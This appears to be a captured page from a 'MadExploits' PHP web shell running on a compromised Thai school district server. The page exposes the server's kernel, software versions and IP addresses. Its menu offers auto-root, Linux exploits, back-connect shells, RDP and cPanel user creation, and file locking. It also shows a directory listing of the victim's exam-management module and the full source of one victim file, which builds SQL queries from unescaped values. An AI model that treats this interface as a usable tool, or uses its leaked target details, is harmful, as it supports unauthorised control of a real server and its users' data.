Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
bets /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
add_score.php
1.58
KB
-rw-r--r--
add_test.php
9.11
KB
-rwxr-xr-x
curriculum.php
7.97
KB
-rwxr-xr-x
curriculum_view.php
25.22
KB
-rwxr-xr-x
examination_set.php
320
B
-rwxr-xr-x
export_to_excel.php
4.24
KB
-rw-r--r--
frm_add_test.php
1.77
KB
-rwxr-xr-x
indicator.php
37.07
KB
-rwxr-xr-x
item_display.php
6.68
KB
-rw-r--r--
khet_paper_report_1.php
61.73
KB
-rw-r--r--
khet_paper_report_2.php
65.56
KB
-rw-r--r--
khet_report_1.php
27.49
KB
-rwxr-xr-x
khet_report_1_mobile.php
8.38
KB
-rwxr-xr-x
khet_report_2.php
68.18
KB
-rwxr-xr-x
level_log.php
1.6
KB
-rw-r--r--
level_record.php
17.37
KB
-rw-r--r--
level_report_1.php
38.07
KB
-rw-r--r--
level_report_2.php
35.32
KB
-rw-r--r--
level_report_3.php
22.22
KB
-rw-r--r--
level_report_4.php
16.65
KB
-rw-r--r--
level_test.php
22.99
KB
-rw-r--r--
livesearch.php
721
B
-rwxr-xr-x
livesearch2.php
729
B
-rw-r--r--
livesearch3.php
756
B
-rw-r--r--
livesearch4.php
727
B
-rw-r--r--
livesearch5.php
1.16
KB
-rw-r--r--
livesearch6.php
1.41
KB
-rw-r--r--
master_test_report.php
16.2
KB
-rw-r--r--
permission.php
11.69
KB
-rwxr-xr-x
print_check.php
3.52
KB
-rw-r--r--
return_ajax_indicator.php
1.64
KB
-rwxr-xr-x
return_ajax_standard.php
805
B
-rwxr-xr-x
return_ajax_substance.php
1.36
KB
-rwxr-xr-x
sch_paper_report_1.php
62.36
KB
-rw-r--r--
sch_report_1.php
65.87
KB
-rwxr-xr-x
sch_report_1_mobile.php
10.62
KB
-rwxr-xr-x
school_limit.php
13.09
KB
-rw-r--r--
standard.php
19.24
KB
-rwxr-xr-x
student_paper_report_1.php
17.6
KB
-rw-r--r--
student_report_1.php
25.54
KB
-rwxr-xr-x
student_report_1_mobile.php
5.51
KB
-rwxr-xr-x
substance.php
16.58
KB
-rwxr-xr-x
test_admin.php
46.87
KB
-rwxr-xr-x
test_admin2.php
6.86
KB
-rw-r--r--
test_admin3.php
11.27
KB
-rw-r--r--
test_admin_book.php
75.57
KB
-rw-r--r--
test_admin_book2.php
19.74
KB
-rw-r--r--
test_import.php
7.86
KB
-rw-r--r--
test_item.php
93.56
KB
-rwxr-xr-x
test_master.php
46.2
KB
-rwxr-xr-x
test_qc.php
15.46
KB
-rw-r--r--
test_qc_person.php
8.05
KB
-rw-r--r--
test_sch.php
6.1
KB
-rwxr-xr-x
test_sch_2.php
26.76
KB
-rwxr-xr-x
test_student.php
34.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_sch.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); ?> <script type="text/javascript" src="./css/js/calendarDateInput2.js"></script> <?php require_once("modules/bets/time_inc.php"); $officer=$_SESSION['login_user_id']; echo "<br />"; echo "<table width='90%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>แบบทดสอบที่เปิดใช้</strong></font></td></tr>"; echo "<tr align='center'><td><font color='#006666' size='2'><strong>(เป็นรายการที่สพท. เปิดให้สถานศึกษาใช้ทดสอบผู้เรียน โดยสถานศึกษาต้องกำหนดการสอบและผู้สอบต่อไป)</strong></font></td></tr>"; echo "</table>"; echo "<br>"; $sql_page = "select * from bets_test left join bets_test_schuser on bets_test.id=bets_test_schuser.test_id where bets_test_schuser.school='$_SESSION[user_school]' and bets_test.test_active='1' "; $dbquery_page = mysqli_query($connect,$sql_page); $num_rows=mysqli_num_rows($dbquery_page); $pagelen=20; // กำหนดแถวต่อหน้า $url_link="option=bets&task=main/test_sch"; $totalpages=ceil($num_rows/$pagelen); if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=$totalpages; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if(($totalpages>1) and ($totalpages<16)){ echo "<div align=center>"; echo "หน้า "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>15){ if($page <=8){ $e_page=15; $s_page=1; } if($page>8){ if($totalpages-$page>=7){ $e_page=$page+7; $s_page=$page-7; } else{ $e_page=$totalpages; $s_page=$totalpages-15; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>หน้าแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>หน้าก่อน </a>"; } else { echo "หน้า "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> หน้าถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> หน้าสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">หน้า</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } //จบแยกหน้า echo "<table width='90%' align='center'><tr><Td align='left'><INPUT TYPE='button' name='smb' value='สถานศึกษากำหนดการสอบ' onclick='location.href=\"?option=bets&task=main/test_sch_2&index=1&page=999\"'></Td><td align='right'>"; echo "</td></tr></table>"; $sql = "select *,bets_test.id from bets_test left join bets_test_schuser on bets_test.id=bets_test_schuser.test_id where bets_test_schuser.school='$_SESSION[user_school]' and bets_test.test_active='1' order by bets_test.id limit $start,$pagelen"; $dbquery = mysqli_query($connect,$sql); echo "<table width='90%' border='1' borderColor='#000000' align='center' style='border-collapse: collapse'>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td width='60'>ลำดับที่</Td><Td>ชื่อการทดสอบ</Td><Td width='100'>ชั้น</Td><Td width='100'>จำนวนข้อ</Td><Td width='100'>คะแนนเต็ม</Td><Td width='100'>เวลาสอบ<br>นาที</Td><Td width='170'>วันเวลา<br>เริ่มสอบได้</Td><Td width='170'>วันเวลา<br>สิ้นสุดการสอบ</Td></Tr>"; $N=(($page-1)*$pagelen)+1; //*เกี่ยวข้องกับการแยกหน้า $M=1; $date_now=date("Y-m-d H:i:s"); While ($result = mysqli_fetch_array($dbquery)) { $id = $result['id']; $test_name= $result['test_name']; $start_date=thai_date_4($result['start_date']); $stop_date=thai_date_4($result['stop_date']); if(($M%2) == 0) $color="#FFFFC"; else $color="#FFFFFF"; if($result['stop_date']>$date_now){ $new="<img src=modules/bets/images/new.GIF border='0'>"; } else{ $new=""; } echo "<Tr bgcolor=$color align='center'><Td>$N</Td><Td align='left'>$test_name <font color='#006666'>[รหัส$result[id]]</font>$new</Td>"; echo "<td>"; if($result['class_room']==4){ echo "ป.1"; } else if($result['class_room']==5){ echo "ป.2"; } else if($result['class_room']==6){ echo "ป.3"; } else if($result['class_room']==7){ echo "ป.4"; } else if($result['class_room']==8){ echo "ป.5"; } else if($result['class_room']==9){ echo "ป.6"; } else if($result['class_room']==10){ echo "ม.1"; } else if($result['class_room']==11){ echo "ม.2"; } else if($result['class_room']==12){ echo "ม.3"; } else if($result['class_room']==13){ echo "ม.4"; } else if($result['class_room']==14){ echo "ม.5"; } else if($result['class_room']==15){ echo "ม.6"; } echo "</td>"; echo "<td align='center'>$result[item_num]</td><td align='center'>$result[test_score]</td><td align='center'>$result[test_time]</td>"; echo "<td align='left'>$start_date</td><td align='left'>$stop_date</td>"; echo "</Tr>"; $M++; $N++; } echo "</Table>"; ?>
Close